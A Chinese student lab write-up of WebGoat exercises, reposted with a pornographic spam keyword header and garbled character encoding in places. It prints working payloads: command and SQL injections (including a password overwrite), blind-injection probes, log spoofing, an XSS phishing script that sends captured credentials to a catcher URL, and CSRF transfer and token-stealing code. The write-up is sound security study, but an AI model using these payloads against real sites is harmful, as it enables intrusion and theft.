日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础

發(fā)布時間:2025/7/14 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

  • 實驗?zāi)康?/li>
  • 實驗內(nèi)容
  • Webgoat前期準備
    • 出現(xiàn)的問題
  • (一)SQL注入攻擊
    • 命令注入:Command Injection
    • 數(shù)字型注入:Numeric SQL Injection
    • 日志欺騙:Log Spoofing
    • 字符串注入:String SQL Injection
    • 實驗室stage1:String SQL Injection
    • 實驗室stage3:Numeric SQL Injection
    • 數(shù)據(jù)庫后門:Database Backdoors
    • 數(shù)字型盲注入:Blind Numeric SQL Injection
    • 字符串盲注入:Blind String SQL Injection
  • (二)XSS攻擊
    • 網(wǎng)絡(luò)釣魚XSS:Phishing with XSS
    • 存儲型XSS攻擊:Stored XSS Attacks
    • 反射型XSS攻擊:Reflected XSS Attacks
  • (三)CSRF攻擊
    • 跨站腳本攻擊:Cross Site Request Forgery
    • XSS提升:CSRF Prompt By-Pass
    • CSRF令牌攻擊:CSRF Token By-Pass
  • 實驗問題回答
  • 實驗總結(jié)

實驗內(nèi)容

  • SQL注入攻擊
  • XSS攻擊
  • CSRF攻擊

Webgoat前期準備

  • 從GitHub上下載jar包
  • 拷貝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現(xiàn)INFO: Starting ProtocolHandler ["http-bio-8080"]則開啟成功,可以看到占用8080端口,實驗過程中不能關(guān)閉終端

  • 打開瀏覽器輸入127.0.0.1:8080/WebGoat,使用默認名和密碼登錄
  • 在Webgoat中,solution是答案,hints是提示。打開界面,可以看到有一連串的課程。
  • 每完成一項課程就會有一個小對勾

出現(xiàn)的問題

  • 打開webgoat時左側(cè)未出現(xiàn)課程

  • 解決方法:重新下載javaversion,具體參考這個鏈接

(一)SQL注入攻擊

選擇Injection Flaws開始實踐

命令注入:Command Injection

命令注入攻擊是對任何參數(shù)驅(qū)動的站點的嚴重威脅。

  • 查看hints:使用系統(tǒng)命令獲取文件的內(nèi)容
  • 也就是說這個操作是要向操作系統(tǒng)注入命令
  • 以ps -ef為例,獲取進程信息
  • 我們在頁面的源代碼中加入我們的命令:在源代碼中找到"Backdoors.help",在其后加上"& ps -ef

  • 保存后下拉框中可以看到我們剛剛修改的選項,點擊view,可以看到進程信息

數(shù)字型注入:Numeric SQL Injection

  • 能看到給出的界面中顯示了一條SQL語句SELECT * FROM weather_data WHERE station = ?,使用數(shù)字型SQL注入,可以在網(wǎng)頁源代碼中的選項后面加上or 1=1,這樣就可以獲得所有地區(qū)的天氣信息了。
  • 還可用purpsutie抓包修改參數(shù)。
  • 打開purpsuite,點擊Proxy->Options->Add添加一個監(jiān)聽端口,添加成功后運行
  • 點擊瀏覽器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:設(shè)置成剛剛綁定的端口號。
  • 接著在之前的課程頁面上點擊GO,在purpsuite->Proxy->Intercept可以看到捕獲的包
  • 右鍵選擇send to repeater,點擊Repeater->Params可看到station的值為101,修改為“101 or 1=1”,點擊GO

  • 再點擊Intercept is on,這時可看到顯示所有地區(qū)天氣信息

日志欺騙:Log Spoofing

  • 顧名思義,就是添加假的日志信息來迷惑操作系統(tǒng),目的是讓用戶名“admin”成功登錄。
  • 在User Name輸入zyl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是換行
  • 點擊登錄出現(xiàn)兩行,一行提示zyl登錄失敗,另一行提示admin登錄成功,這些信息就會被保存到日志里了。

字符串注入:String SQL Injection

下面的表格允許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,導(dǎo)致顯示所有信用卡號。嘗試用戶名“史密斯”。

  • 和數(shù)字型一樣,我們的目的是構(gòu)建一個永真式,由于字符串在數(shù)據(jù)庫中是由'構(gòu)成的,我們在last name中輸入Smith' OR '1'='1所有的用戶信息被輸出

實驗室stage1:String SQL Injection

  • 選擇inspect Element審查網(wǎng)頁元素對源代碼進行修改,將password密碼框的最大長度限制改為20
  • 目的是在不知道密碼的情況下登錄賬戶Neville
  • 在密碼框中輸入Smith' or 1=1 --,攻擊成功可得到所有人員列表

實驗室stage3:Numeric SQL Injection

  • 目的是用員工的賬戶登錄,瀏覽boss的賬戶
  • 首先用Larry的賬號登錄,使用' or 1=1 --作為密碼
  • 點擊ViewProfile可以查看用戶信息,那么我們要做的,就是點擊這個按鈕后跳轉(zhuǎn)到boss的信息。
  • 查看網(wǎng)頁源代碼,可以看到索引的依據(jù)是員工ID,可是我們不知道老板的ID怎么辦?數(shù)據(jù)庫中可以使用排序來篩選信息,而老板一般工資都是最高的,將id的value改成101 or 1=1 order by salary desc --,點擊ViewProfile
  • 得到老板的賬戶信息,攻擊成功

數(shù)據(jù)庫后門:Database Backdoors

  • 根據(jù)提示,輸入id為101
  • 我們可以看到插入查詢語句的字符串沒有經(jīng)過任何處理,可以輸入多條語句進行增、刪、改、查

  • 輸入注入語句101; update employee set Password=5230執(zhí)行,可以看見密碼框變?yōu)榱嗽O(shè)置的密碼

數(shù)字型盲注入:Blind Numeric SQL Injection

  • 目的是知道pin在pins 表里的值,先嘗試101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,顯示數(shù)是合法的;再用500、1000、5000嘗試,發(fā)現(xiàn)pin應(yīng)該是小于5000的
  • 不斷用二分法進行測試,發(fā)現(xiàn)pin為2364

字符串盲注入:Blind String SQL Injection

  • 目的依舊是要知道pin的值,最大的不同是要查詢的字段是一個字符串而不是數(shù)值
  • 輸入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );顯示出錯,判斷其是否比字 母“H”小
  • 把1換成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );,- - 經(jīng)過多次測試和頁面的返回數(shù)據(jù),判斷出第一個字符為“J”結(jié)果為Jill

(二)XSS攻擊

選擇Cross-Site Scripting (XSS)開始實踐

網(wǎng)絡(luò)釣魚XSS:Phishing with XSS

使用XSS和HTML插入,您的目標是:
將html插入該請求憑據(jù),添加javascript以實際收集憑據(jù),將憑據(jù)發(fā)送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通過本課程,憑證必須發(fā)布到捕獲者servlet。

  • 根據(jù)要求,我們編寫代碼,設(shè)計一個簡單的登錄界面獲取用戶名和密碼并發(fā)送到指定地方

    <script> function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
  • 點擊搜索,看到下面有個登錄界面,登錄提示

存儲型XSS攻擊:Stored XSS Attacks

  • 這種攻擊常見于論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數(shù)據(jù)庫中。因為是留言,所以任何用戶在打開網(wǎng)頁的時候,這個腳本就會被從數(shù)據(jù)庫中取出來而運行
  • 根據(jù)題目要求,在留言板中輸入<script>alert("You've been attacked!!!");</script>
  • 點擊剛剛創(chuàng)建的帖子,彈出窗口

反射型XSS攻擊:Reflected XSS Attacks

發(fā)出請求時,XSS代碼出現(xiàn)在URL中,作為輸入提交到服務(wù)器端,服務(wù)器端解析后響應(yīng),XSS隨響應(yīng)內(nèi)容一起返回給瀏覽器,最后瀏覽器解析執(zhí)行XSS代碼

  • 就像上一個實驗直接在輸入框中輸入代碼一樣,反射型XSS是不持久的,在提交到后臺的過程中輸入的JavaScript腳本就會被執(zhí)行
  • 同樣輸入彈窗代碼<script>alert("20165230 attack!!!");</script>,點擊purse的同時頁面就給出了反饋

(三)CSRF攻擊

跨站腳本攻擊:Cross Site Request Forgery

您的目標是向新聞組發(fā)送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在本課中,URL應(yīng)該指向“攻擊”servlet,其中包含課程的“屏幕”和“菜單”參數(shù),以及具有任意數(shù)值的額外參數(shù)“transferFunds”(如5000)。您可以通過查找“屏幕”來構(gòu)建鏈接 “和”菜單“值在右側(cè)的參數(shù)插入。 當時通過身份認證的CSRF電子郵件的接收者將轉(zhuǎn)移資金。

  • 也就是說,要發(fā)送一個有惡意圖片的電子郵件,目的是要轉(zhuǎn)走用戶的錢。
  • 在消息框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />,成功看到左邊多了一個小綠√

XSS提升:CSRF Prompt By-Pass

  • 和上一個實驗差不多,多了一個確認轉(zhuǎn)賬的任務(wù)
  • 輸入代碼
    <img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
  • 查看消息,看到轉(zhuǎn)賬消息:

CSRF令牌攻擊:CSRF Token By-Pass

類似于CSRF課程,您的目標是向包含惡意請求轉(zhuǎn)移資金的新聞組發(fā)送電子郵件。 要成功完成,您需要獲取有效的請求令牌。 提供轉(zhuǎn)賬資金表單的頁面包含一個有效的請求令牌。 轉(zhuǎn)移資金頁面的URL是本課程的“屏幕”和“菜單”查詢參數(shù)以及額外的參數(shù)“transferFunds = main”的“攻擊”servlet。 加載此頁面,讀取令牌,并在偽造的請求中附加令牌以傳輸數(shù)據(jù)。 當您認為攻擊成功時,刷新頁面,您將在左側(cè)菜單中找到綠色檢查。

  • 在前面實驗的基礎(chǔ)上,使用令牌傳輸數(shù)據(jù)
  • 輸入代碼
    <script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
  • 按之前的步驟操作

實驗問題回答

  • SQL注入攻擊原理,如何防御
    • 程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷就直接插入查詢語句,攻擊者就可以添加額外的SQL語句或使用注釋字符得到額外的信息
      • 對輸入的字符串進行處理,篩除特殊字符
      • 普通用戶與系統(tǒng)管理員用戶的權(quán)限要有嚴格的區(qū)分
  • XSS攻擊的原理,如何防御
    • 用戶在輸入框輸入JavaScript代碼,提交的時候直接執(zhí)行,有辦法獲得網(wǎng)站的cookie
      • 表單提交的時候進行特殊字符的檢測
      • 對輸入框做長度限制
      • 在后臺對數(shù)據(jù)進行過濾
  • CSRF攻擊原理,如何防御
    • CSRF是跨站腳本攻擊,就是在用戶的瀏覽器中執(zhí)行攻擊者的腳本,來獲得其cookie等信息。一般存在XSS漏洞的網(wǎng)站,也極有可能存在CSRF漏洞。
      • 使用token:每一個網(wǎng)頁包含一個web server產(chǎn)生的token, 提交時,也將該token提交到服務(wù)器,服務(wù)器進行判斷,如果token不對,就判定位CSRF攻擊。
      • 將提交方法改為post
      • 定期清理cookie
      • 使用隨機數(shù)對表單中的值進行驗證

實驗總結(jié)

這是最后一個實驗了,做完特別有成就感。這次實驗通過使用webgoat做了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區(qū)分和理解,也通過實例讓我們在平時生活中能更注意一下容易被攻擊的細節(jié),讓我對我們這些菜雞編出來的代碼極度的否定態(tài)度,沒有找不出來的漏洞,所以在信息安全這條道路上好好的體會琢磨吧,道阻且艱!

轉(zhuǎn)載于:https://www.cnblogs.com/tiankunye/p/10922058.html

總結(jié)

以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。